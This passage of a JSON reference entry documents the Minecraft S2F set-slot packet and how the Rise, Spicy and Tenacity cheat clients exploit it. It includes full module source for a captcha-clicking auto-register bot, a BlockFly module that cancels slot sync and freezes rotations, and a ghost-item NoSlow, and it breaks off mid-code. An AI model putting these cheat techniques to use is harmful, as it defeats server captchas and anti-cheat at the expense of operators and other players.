     "name": "slot",
     "type": "short",
     "desc": "Slot index (-1 = cursor)"
    },
    {
     "name": "item",
     "type": "Slot (ItemStack)",
     "desc": "ItemStack to place in slot (null = clear)"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "byte",
     "-1=cursor, 0=player inventory"
    ],
    [
     "Slot",
     "short",
     "Slot index"
    ],
    [
     "Slot Data",
     "Slot",
     "ItemStack or null"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSetSlot()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "windowId=-1 special case: updates the cursor item (the item held by the mouse cursor). windowId=0: updates player inventory. S2F is sent for EVERY slot change: armor equips, hotbar changes, cursor picks up/drops. Inventory modules track S2F to detect armor swaps and item pickups.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S2FPacketSetSlot is the single-slot inventory sync packet, the fine-grained counterpart to the S30 full-window dump. The server emits it for every slot mutation: EntityPlayerMP.updateCraftingInventory pushes windowId/slot/stack on each container change, the cursor is synced with the (-1, -1) variant after clicks settle (lines 760, 774, 805), NetHandlerPlayServer line 554 re-sends the held hotbar slot after a swap, and ItemEditableBook pushes the signed book back into slot 0. windowId -1 means the cursor, 0 means the player inventory, anything else the open container."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSetSlot resolves the target container from the window id: -1 sets the player's cursor stack, 0 and the player inventory window id write into inventoryContainer, otherwise the open container receives the slot. The matching GuiScreen is notified so the renderer updates. There is no validation: the client trusts the server's slot content unconditionally, which is exactly the trust that cancel-based modules exploit. The vanilla client never sends S2F; it is strictly clientbound."
     },
     {
      "h": "Why clients touch it",
      "p": "Four distinct uses in the 8 clients. Rise 5.99 Auto sniffs S2F for the Redesky captcha item and clicks it with a crafted C0E. Rise 5.99 Scaffold and Spicy BlockFly cancel every S2F so the server cannot correct the hotbar while they place blocks. Tenacity 6.0 NoSlowModule cancels window-0 slot updates while using a non-sword item, keeping the ghost-item no-slow state alive. Rise 6.x AdaptiveRefreshRateComponent treats S2F as a significant packet that forces a HUD cache redraw, and PacketUtil exposes a wrapper for the script API."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S2F is a local lie that only survives until the next window resync: the server owns slot state, and a rejected click (S32 accepted=false) triggers a full S30 dump that snaps the client back. That makes S2F cancellation a short-horizon trick, useful inside a single click loop, not a persistent desync. For inventory modules the packet is a cheap signal: an armor swap or a hotbar change arrives as one small packet, so AutoArmor-style logic can react without parsing a window. The trade-off is ordering: any module that cancels S2F upstream silently blinds every other module that reads it."
     }
    ],
    "overview": "The single-slot sync packet and the cheapest inventory signal on the wire. Rise's Auto reads it to click captcha items, Scaffold and Spicy's BlockFly cancel it to freeze the hotbar, Tenacity's NoSlow cancels window-0 updates to preserve a ghost item, and Rise 6.x treats it as a HUD-significant packet. The server always owns slot truth; cancelling only delays the client's view.",
    "server_handling": "EntityPlayerMP.updateCraftingInventory sends S2F(windowId, slot, stack) per slot change and the cursor variant (-1, -1) after click processing (lines 760, 774, 805 in the bundled sources). NetHandlerPlayServer line 554 re-sends the held item slot after a hotbar swap; ItemEditableBook line 116 pushes the signed book into slot 0. There is no rate limit and no client-side validation: handleSetSlot writes the slot into the resolved container and notifies the open GUI.",
    "protocol_notes": "Wire layout: byte windowId, short slot, then a Slot encoding (short item id, byte count, short damage, optional NBT; item id -1 encodes null). windowId -1 (0xFF) targets the cursor, 0 the player inventory, other values the open container. S2F is PLAY-state only and always carries exactly one slot, which is what makes it the cheapest way for a module to detect an armor equip or hotbar change. The cursor variant pairs slot -1 with windowId -1.",
    "anticheat_landscape": "No anti-cheat measures S2F: it is server-authoritative display state. The abuse is purely client-side view desync, and the detection surface is the eventual resync: a server that rejects a click re-sends S30, and any client that still behaves as if the old slot content exists is visibly desynced. Cancel-heavy movement modules (Scaffold, BlockFly) therefore risk inventory desync that manifests as phantom hotbar items rather than a flag.",
    "modules": [
     {
      "name": "Auto",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Automated Redesky captcha solving: detect a captcha item in a container slot via S2F and click it before the server times it out.",
      "how_it_works": "PacketReceiveEvent; on S2F, skip window 0 (player inventory), then check the item's display name case-insensitively for 'aqui'. On match, send C0EPacketClickWindow(windowId, slot, 0, 0, item, (short) 1919): button 0, mode 0, and an absurdly large action number the server ignores. Runs only while the redeskyAutoCaptcha setting is on.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Auto.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\n\n@ModuleInfo(name = \"Auto\", description = \"Automatically does things for you\", category = Category.OTHER)\npublic final class Auto extends Module {\n\n    private final BooleanSetting redeskyAutoCaptcha = new BooleanSetting(\"Redesky Auto Captcha\", this, false);\n    private final BooleanSetting redeskyAutoRegister = new BooleanSetting(\"Redesky Auto Register\", this, false);\n\n    boolean sentReg, sentLogin;\n    int ticks;\n    int amountFlagged;\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n\n        final Packet packet = event.getPacket();\n\n        if (redeskyAutoCaptcha.isEnabled()) {\n\n            if (packet instanceof S2FPacketSetSlot) {\n\n                final S2FPacketSetSlot S2F = (S2FPacketSetSlot) packet;\n\n                if (S2F.func_149175_c() == 0) {\n                    return;\n                }\n\n                final ItemStack item = S2F.func_149174_e();\n\n                if (item != null && item.getDisplayName().toLowerCase().contains(\"aqui\")) {\n\n                    mc.thePlayer.sendQueue.addToSendQueue(new C0EPacketClickWindow(S2F.func_149175_c(), S2F.func_149173_d(), 0, 0, item, (short) 1919));\n\n                }\n\n            }\n\n        }\n\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n\n        if (mc.thePlayer.ticksExisted % 20 == 0)\n            amountFlagged--;\n\n        if (amountFlagged < 0)\n            amountFlagged = 0;\n\n        if (redeskyAutoRegister.isEnabled()) {\n\n            if (mc.thePlayer.ticksExisted == 1) {\n                sentLogin = sentReg = false;\n            }\n\n            if (mc.currentScreen == null) {\n                ticks++;\n                if (ticks > 30) {\n\n                    if (!sentReg) {\n                        mc.thePlayer.sendChatMessage(\"/register Lolxd00 Lolxd00\");\n                        sentReg = true;\n                    } else if (!sentLogin) {\n                        mc.thePlayer.sendChatMessage(\"/login Lolxd00\");\n                        sentLogin = true;\n                    }\n\n                }\n\n\n            } else {\n                ticks = 0;\n            }\n\n        }\n\n    }\n\n\n}\n\n// NOTE (AI): The Redesky captcha item is matched case-insensitively against 'aqui' in the display name and clicked with action number 1919, a deliberately large value the server tolerates. Window 0 (player inventory) slots are skipped by the early return so only open-container slots are scanned.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Auto.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Benign server automation; the fixed action number 1919 and the display-name scan are the only fingerprints, and no anti-cheat in the era flags them.",
      "variations": "None in the corpus; the captcha logic is Redesky-specific and the rest of the module (auto register/login) works through chat packets."
     },
     {
      "name": "Scaffold",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Cancel all incoming slot sync so the server cannot correct the client's hotbar view during the block placement loop.",
      "how_it_works": "onPacketReceive: if the packet is S2FPacketSetSlot, event.setCancelled(true). Every slot update is dropped while scaffolding, keeping the client's own view of the hotbar authoritative for the placement loop.",
      "detailed_code": null,
      "code_source": "Rise 5.99, dev/rise/module/impl/player/Scaffold.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "No anti-cheat flags the cancellation itself; the risk is long-horizon inventory desync, which surfaces when a rejected click forces an S30 resync.",
      "variations": "None in the corpus; the file is 1042 lines of placement logic with this one receive-side cancel."
     },
     {
      "name": "BlockFly",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Block-fly movement that cancels S2F so the server cannot correct the fake block placement state.",
      "how_it_works": "EventPacket pre-phase: if the packet is S2FPacketSetSlot, setCanceled(true), unless killaura has a target, in which case the handler returns early so weapon switching stays synced. The module also freezes yaw and pitch on C03 and EventMotion and places blocks below the player via onPlayerRightClick.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/movement/BlockFly.java =====\npackage info.spicyclient.modules.movement;\n\nimport java.util.Comparator;\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\nimport org.newdawn.slick.tests.xml.ItemContainer;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventRender3D;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventSneaking;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport info.spicyclient.settings.SettingChangeEvent.type;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.RenderUtils;\nimport info.spicyclient.util.RotationUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.entity.player.InventoryPlayer;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\nimport net.minecraft.util.Vec3;\n\npublic class BlockFly extends Module {\n\t\n\tpublic BlockFly() {\n\t\tsuper(\"Block Fly\", Keyboard.KEY_NONE, Category.MOVEMENT);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t\tlastYaw = mc.thePlayer.rotationYaw;\n\t\tlastPitch = mc.thePlayer.rotationPitch;\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic static transient float lastYaw = 0, lastPitch = 0;\n\tpublic static transient Timer timer = new Timer();\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventSneaking) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tif (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tEventSneaking sneak = (EventSneaking) e;\n\t\t\t\t\n\t\t\t\tif (sneak.entity.onGround && sneak.entity instanceof EntityPlayer) {\n\t\t\t\t\tsneak.sneaking = true;\n\t\t\t\t}else {\n\t\t\t\t\tsneak.sneaking = false;\n\t\t\t\t}\n\t\t\t\tsneak.offset = -1D;\n\t\t\t\tsneak.revertFlagAfter = true;\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tif (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif (((EventPacket)e).packet instanceof S2FPacketSetSlot) {\n\t\t\t\te.setCanceled(true);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventSendPacket & e.isPre()) {\n\t\t\t\n\t\t\tif (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif (((EventSendPacket)e).packet instanceof C03PacketPlayer) {\n\t\t\t\t((C03PacketPlayer)((EventSendPacket)e).packet).setYaw(lastYaw);\n\t\t\t\t((C03PacketPlayer)((EventSendPacket)e).packet).setPitch(lastPitch);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventRender3D && e.isPre()) {\n\t\t\t\n\t\t\tBlockPos below = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);\n\t\t\t\n\t\t\tfor (int i = 0; i < 5; i++) {\n\t\t\t\t\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY(), below.getZ(), below.getX() + 1, below.getY(), below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY() + 1, below.getZ(), below.getX() + 1, below.getY() + 1, below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY(), below.getZ(), below.getX(), below.getY(), below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY() + 1, below.getZ(), below.getX(), below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY(), below.getZ(), below.getX(), below.getY() + 1, below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY() + 1, below.getZ(), below.getX(), below.getY() + 1, below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY(), below.getZ(), below.getX() + 1, below.getY() + 1, below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY() + 1, below.getZ(), below.getX() + 1, below.getY() + 1, below.getZ());\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY(), below.getZ() + 1, below.getX(), below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX(), below.getY() + 1, below.getZ() + 1, below.getX(), below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY(), below.getZ() + 1, below.getX(), below.getY(), below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY() + 1, below.getZ() + 1, below.getX(), below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY(), below.getZ() + 1, below.getX() + 1, below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY() + 1, below.getZ(), below.getX() + 1, below.getY() + 1, below.getZ() + 1);\n\t\t\t\tRenderUtils.drawLine(below.getX() + 1, below.getY(), below.getZ(), below.getX() + 1, below.getY(), below.getZ() + 1);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre() && MovementUtils.isOnGround(0.4)) {\n\t\t\t\n\t\t\tif (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t//mc.thePlayer.onGround = false;\n\t\t\t\n\t\t\tEventUpdate update = (EventUpdate)e;\n\t\t\t\n\t\t\tdouble motionX = mc.thePlayer.motionX, motionZ = mc.thePlayer.motionZ;\n\t\t\t\n\t\t\tif (motionX < 0)\n\t\t\t\tmotionX *= -1;\n\t\t\t\n\t\t\tif (motionZ < 0)\n\t\t\t\tmotionZ *= -1;\n\t\t\t\n\t\t\tif (motionX < 0.05 && motionZ < 0.05 && MovementUtils.isOnGround(0.3) && mc.gameSettings.keyBindJump.isKeyDown()) {\n\t\t\t\tif (mc.gameSettings.keyBindJump.isKeyDown() && MovementUtils.isOnGround(0.25)) {\n\t\t\t\t\t\n\t\t            //mc.thePlayer.motionX = 0.0D;\n\t\t            //mc.thePlayer.motionZ = 0.0D;\n\t\t            //mc.thePlayer.motionY = 0.375;\n\t\t            if (timer.hasTimeElapsed(1500, true)) {\n\t\t               //mc.thePlayer.motionY = -0.28D;\n\t\t            }\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventMotion && e.isPost()) {\n\t\t\t\n\t\t\tif (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tEventMotion event = (EventMotion) e;\n\t\t\t\n\t\t\t//mc.thePlayer.setSprinting(false);\n\t\t\t\n\t\t\tevent.setYaw(lastYaw);\n\t\t\tevent.setYaw(lastPitch);\n\t\t\t\n\t\t\tItemStack i = mc.thePlayer.getCurrentEquippedItem();\n\t\t\tBlockPos below = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);\n\t\t\t\n\t\t\tif (mc.theWorld.getBlockState(below).getBlock() == Blocks.air) {\n\t\t\t\t\n\t\t\t\tfor (EnumFacing facing : EnumFacing.VALUES) {\n\t\t\t\t\t\n\t\t\t\t\tswitch (facing) {\n\t\t\t\t\tcase UP:\n\t\t\t\t\t\t\n\t\t\t\t\t\tBlockPos underBelow = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 2D, mc.thePlayer.posZ);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (mc.theWorld.getBlockState(underBelow).getBlock() != Blocks.air) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tItemStack block = mc.thePlayer.getCurrentEquippedItem();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor (int g = 0; g < 9; g++) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (mc.thePlayer.inventoryContainer.getSlot(g + 36).getHasStack() && mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem() instanceof ItemBlock && mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().stackSize > 0 && !((ItemBlock)mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem()).getBlock().getLocalizedName().toLowerCase().contains(\"chest\") && !((ItemBlock)mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem()).getBlock().getLocalizedName().toLowerCase().contains(\"table\")) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tInventoryPlayer inventoryplayer = mc.thePlayer.inventory;\n\t\t\t\t\t\t\t\t\tinventoryplayer.setCurrentItem(mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem(), 0, false, true);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, block, underBelow, EnumFacing.UP, RotationUtils.getVectorForRotation(getRotationsHypixel(underBelow, EnumFacing.UP)[1], getRotationsHypixel(underBelow, EnumFacing.UP)[1])) || true) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tmc.thePlayer.swingItem();\n\t\t\t\t\t\t\t\tevent.setYaw(getRotationsHypixel(underBelow, facing)[0]);\n\t\t\t\t\t\t\t\tevent.setPitch(getRotationsHypixel(underBelow, facing)[1]);\n\t\t\t\t\t\t\t\tlastYaw = event.yaw;\n\t\t\t\t\t\t\t\tlastPitch = event.pitch;\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase NORTH:\n\t\t\t\t\tcase EAST:\n\t\t\t\t\tcase SOUTH:\n\t\t\t\t\tcase WEST:\n\t\t\t\t\t\t\n\t\t\t\t\t\tBlockInfo defaultPos = findFacingAndBlockPosForBlock(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ + mc.thePlayer.motionZ));\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (defaultPos == null)\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (mc.theWorld.getBlockState(defaultPos.pos).getBlock() != Blocks.air) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tItemStack block = mc.thePlayer.getCurrentEquippedItem();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tfor (int g = 0; g < 9; g++) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (mc.thePlayer.inventoryContainer.getSlot(g + 36).getHasStack() && mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem() instanceof ItemBlock && mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().stackSize > 0 && !((ItemBlock)mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem()).getBlock().getLocalizedName().toLowerCase().contains(\"chest\") && !((ItemBlock)mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem()).getBlock().getLocalizedName().toLowerCase().contains(\"table\")) {\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tInventoryPlayer inventoryplayer = mc.thePlayer.inventory;\n\t\t\t\t\t\t\t\t\tinventoryplayer.setCurrentItem(mc.thePlayer.inventoryContainer.getSlot(g + 36).getStack().getItem(), 0, false, true);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, block, defaultPos.pos, defaultPos.facing, RotationUtils.getVectorForRotation(getRotationsHypixel(defaultPos.targetPos, defaultPos.facing)[0], getRotationsHypixel(defaultPos.targetPos, defaultPos.facing)[1])) || true) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tmc.thePlayer.swingItem();\n\t\t\t\t\t\t\t\tevent.setYaw(getRotationsHypixel(defaultPos.pos.offset(defaultPos.facing), defaultPos.facing)[0]);\n\t\t\t\t\t\t\t\tevent.setPitch(getRotationsHypixel(defaultPos.pos.offset(defaultPos.facing), defaultPos.facing)[1]);\n\t\t\t\t\t\t\t\tlastYaw = event.yaw;\n\t\t\t\t\t\t\t\tlastPitch = event.pitch;\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\tprivate BlockInfo findFacingAndBlockPosForBlock(BlockPos input) {\n\t\t\n\t\tBlockInfo output = new BlockInfo();\n\t\toutput.pos = input;\t\t\n\t\t\n\t\tfor (EnumFacing face : EnumFacing.VALUES) {\n\t\t\t\n\t\t\tif (mc.theWorld.getBlockState(output.pos.offset(face)).getBlock() != Blocks.air) {\n\t\t\t\t\n\t\t\t\toutput.pos = output.pos.offset(face);\n\t\t\t\toutput.facing = face.getOpposite();\n\t\t\t\toutput.targetPos = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1D, mc.thePlayer.posZ);\n\t\t\t\treturn output;\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tfor (EnumFacing face : EnumFacing.VALUES) {\n\t\t\t\n\t\t\tif (mc.theWorld.getBlockState(output.pos.offset(face)).getBlock() == Blocks.air) {\n\t\t\t\t\n\t\t\t\tfor (EnumFacing face1 : EnumFacing.VALUES) {\n\t\t\t\t\t\n\t\t\t\t\tif (mc.theWorld.getBlockState(output.pos.offset(face).offset(face1)).getBlock() != Blocks.air) {\n\t\t\t\t\t\t\n\t\t\t\t\t\toutput.pos = output.pos.offset(face).offset(face1);\n\t\t\t\t\t\toutput.facing = face.getOpposite();\n\t\t\t\t\t\toutput.targetPos = output.pos.offset(face);\n\t\t\t\t\t\treturn output;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\treturn null;\n\t\t\n\t}\n\t\n\tpublic float[] getRotationsHypixel(BlockPos paramBlockPos, EnumFacing paramEnumFacing) {\n\t\tdouble offset = 0.5;\n\t\toffset = 1;\n        double d1 = (double)paramBlockPos.getX() + offset - mc.thePlayer.posX + (double)paramEnumFacing.getFrontOffsetX() / 2.0D;\n        double d2 = (double)paramBlockPos.getZ() + offset - mc.thePlayer.posZ + (double)paramEnumFacing.getFrontOffsetZ() / 2.0D;\n        double d3 = mc.thePlayer.posY + (double)mc.thePlayer.getEyeHeight() - ((double)paramBlockPos.getY() + 0.5D);\n        double d4 = (double)MathHelper.sqrt_double(d1 * d1 + d2 * d2);\n        float f1 = (float)(Math.atan2(d2, d1) * 180.0D / 3.141592653589793D) - 90.0F;\n        float f2 = (float)(Math.atan2(d3, d4) * 180.0D / 3.141592653589793D);\n        if (f1 < 0.0F) {\n            f1 += 360.0F;\n        }\n        \n        //f1 += 180;\n        f1 = MathHelper.wrapAngleTo180_float(f1);\n        f2 += 30;\n        \n        if (f2 > 90)\n        \tf2 = 90;\n        \n        if (f2 < -90)\n        \tf2 = -90;\n        \n        //Command.sendPrivateChatMessage(f1 + \" : \" + f2);\n        \n        return new float[]{f1, f2};\n    }\n\t\n\tprivate class BlockInfo {\n\t\t\n\t\tBlockPos pos, targetPos;\n\t\tEnumFacing facing;\n\t\t\n\t}\n\t\n}\n\n// NOTE (AI): The S2F cancel only fires while killaura has no target; the early return exists because killaura needs accurate slot state for weapon switching. The module also freezes yaw and pitch on C03 and EventMotion while it places blocks below the player.\n",
      "code_source": "Spicy, info/spicyclient/modules/movement/BlockFly.java",
      "vanilla_hook": "EventPacket (receive path), EventSendPacket, EventMotion, EventUpdate, EventSneaking, EventRender3D.",
      "anti_cheat_notes": "Cancels all slot updates while flying; same desync trade-off as Scaffold, with the added killaura guard that keeps combat state accurate.",
      "variations": "None in the corpus; Spicy's other movement modules reference C00/C0F but only BlockFly touches S2F."
     },
     {
      "name": "NoSlowModule",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "No-slow that preserves a ghost item by cancelling window-0 slot updates while using a non-sword item.",
      "how_it_works": "Vanilla mode: on MotionEvent pre, if no ghost exists call sendBypass (C0D close window 0, then C0E shift-click of the held item into its own slot to create the ghost). Then on PacketReceiveEvent, cancel every S2F whose window id is 0 while the player is using a non-sword item with no screen open, so the server's slot corrections never remove the ghost. isItemGhost resets when the player stops using the item.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/movement/NoSlowModule.java =====\npackage dev.tenacity.module.impl.movement;\n\nimport dev.tenacity.event.Event;\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.event.impl.player.MotionEvent;\nimport dev.tenacity.event.impl.player.SlowDownEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport dev.tenacity.setting.impl.ModeSetting;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.world.gen.layer.GenLayerEdge;\n\npublic final class NoSlowModule extends Module {\n\n    private boolean isItemGhost;\n\n    private final ModeSetting mode = new ModeSetting(\"Mode\", \"Vanilla\", \"Watchdog\");\n\n    public NoSlowModule() {\n        super(\"NoSlow\", \"Makes you not take slow down\", ModuleCategory.MOVEMENT);\n        initializeSettings(mode);\n    }\n\n    private final IEventListener<SlowDownEvent> onSlowDownEvent = Event::cancel;\n\n    private final IEventListener<MotionEvent> onMotionEvent = event -> {\n        switch (mode.getCurrentMode()) {\n            case \"Vanilla\": {\n                if (event.isPre() && mc.thePlayer != null) {\n                    if (!isItemGhost)\n                        sendBypass();\n                    if (!mc.thePlayer.isUsingItem())\n                        isItemGhost = false;\n                }\n            }\n            case \"Watchdog\": {\n                if (mc.thePlayer.isUsingItem()) {\n                    if (mc.currentScreen == null && mc.thePlayer.getHeldItem() != null) {\n                    }\n                }\n                break;\n            }\n        }\n    };\n\n    private final IEventListener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S2FPacketSetSlot && mc.thePlayer != null) {\n            final S2FPacketSetSlot s2f = (S2FPacketSetSlot) event.getPacket();\n            if (s2f.func_149175_c() == 0 && mc.thePlayer.isUsingItem() && mc.currentScreen == null && mc.thePlayer.getHeldItem() != null && !(mc.thePlayer.getHeldItem().getItem() instanceof ItemSword)) {\n                event.cancel();\n                //isItemGhost = false;\n            }\n        }\n    };\n\n    private void sendBypass() {\n        if (mc.thePlayer.isUsingItem() && mc.currentScreen == null && 